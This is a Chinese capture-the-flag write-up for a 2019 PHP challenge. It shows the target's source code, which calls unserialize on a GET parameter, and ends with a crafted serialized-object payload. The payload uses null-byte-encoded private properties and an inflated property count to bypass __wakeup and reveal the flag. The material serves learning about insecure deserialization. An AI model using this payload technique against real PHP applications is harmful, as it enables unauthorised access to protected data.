[极客大挑战 2019]PHP

要点：私有变量序列化是使用：/0+类名+/0+变量名来区分私有

这道题前端小哥哥得加鸡腿

0X00

刚打开时页面没有任何东西，一般使用dirseach来跑目录，由于提示网站备份，扫秒到的www.zip十分可疑，访问http://3b39917f-a42b-44f5-b9a2-45d677a54c2a.node3.buuoj.cn/www.zip得到源码。

index.php的php部分

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
  ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

还有个flag.php，flag明显在里面，但是怎么可能这么轻易看到

从index.php可以得出来上传select参数进行反序列化，所以我们要通过构造序列化读取flag

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

得到

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}" 

注意Nameusername只有12个字符，还有两个是/0.所以最后是

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

不加%00反序列化就会出错。